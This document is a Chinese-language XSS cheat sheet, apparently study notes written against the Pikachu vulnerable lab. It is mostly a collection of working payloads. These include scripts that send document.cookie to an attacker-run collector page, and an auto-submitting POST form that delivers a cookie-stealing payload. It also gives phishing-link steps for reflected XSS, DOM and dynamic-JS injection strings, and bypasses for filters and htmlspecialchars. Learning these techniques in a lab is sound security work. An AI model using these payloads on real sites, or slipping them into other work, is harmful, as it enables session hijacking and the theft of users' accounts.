xss总结
1.常用payload
1.//配合xss后台使用
<script>document.location='http://127.0.0.1?cookie=' + document.cookie</script>
或
<img src=x onerror=a=document.cookie;document.location='http://192.168.0.113:8080/pikachu/pkxss/xcookie/cookie.php?cookie='+a >
2.//在href中使用javascript伪协议
<a href="javascript:alert(111)">
3.//payload被加入href,闭合引号绕过href
' onclick=alert(1111) '
或
#' onclick=alert("xss")>
4.//payload被加入动态js中,闭合原来js,加入新的js
'</script><script>alert('xss')</script>
5.//其他
<body onload=alert('XSS')>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">
xss payload大全参考:https://www.cnblogs.com/xuehen/p/4814237.html
2.常见xss类型
2.1 反射型
2.1.1 GET
构造钓鱼url,发给受害者,等待受害者点击即可
http://127.0.0.1/xss_reflected_get.php?message=%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E&submit=submit
2.1.2 POST
无法直接构造钓鱼url,需要自己搭建post表单网站,诱导受害者点击
//post.html
<html>
<head>
<script>
//自动点击,提交post表单
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" //受害者网站 action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script> //攻击者xss后台窃取cookie的payload
document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
2.2 存储型
一般出现在留言板等,危害较大,payload直接写在留言板即可
2.3 DOM型
// 这里有段JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str
//然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
<div id="dom"><a href="test">what do you see?</a></div>
payload构造
' onclick=alert(1111) '
或
#' onclick=alert("xss")>
或
javascript:alert(111)
3.绕过xss过滤
3.1 转换
- 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
- 大小写,比如pt>。后台可能把
3.2 编码
当它输出到前端的时候,浏览器会对这个编码进行翻译,从而弹窗
3.3 htmlspecialchars
关于htmlspecialchars()函数
htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
-
& 成为 &
-
" 成为 "
-
’ 成为 '
-
< 成为 <
-
> 成为 >
可用引号类型
-
ENT_COMPAT:默认,仅编码双引号
-
ENT_QUOTES:编码双引号和单引号
-
ENT_NOQUOTES:不编码任何引号
可以使用一些不带这些特殊符号的payload,如 javascript:alert(111)
附加 xss之动态js
//输入框中输入的test,赋值给了js中的$ms变量
<script>
$ms='test';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
payload
//闭合原来的js,加入新的js
'</script><script>alert('xss')</script>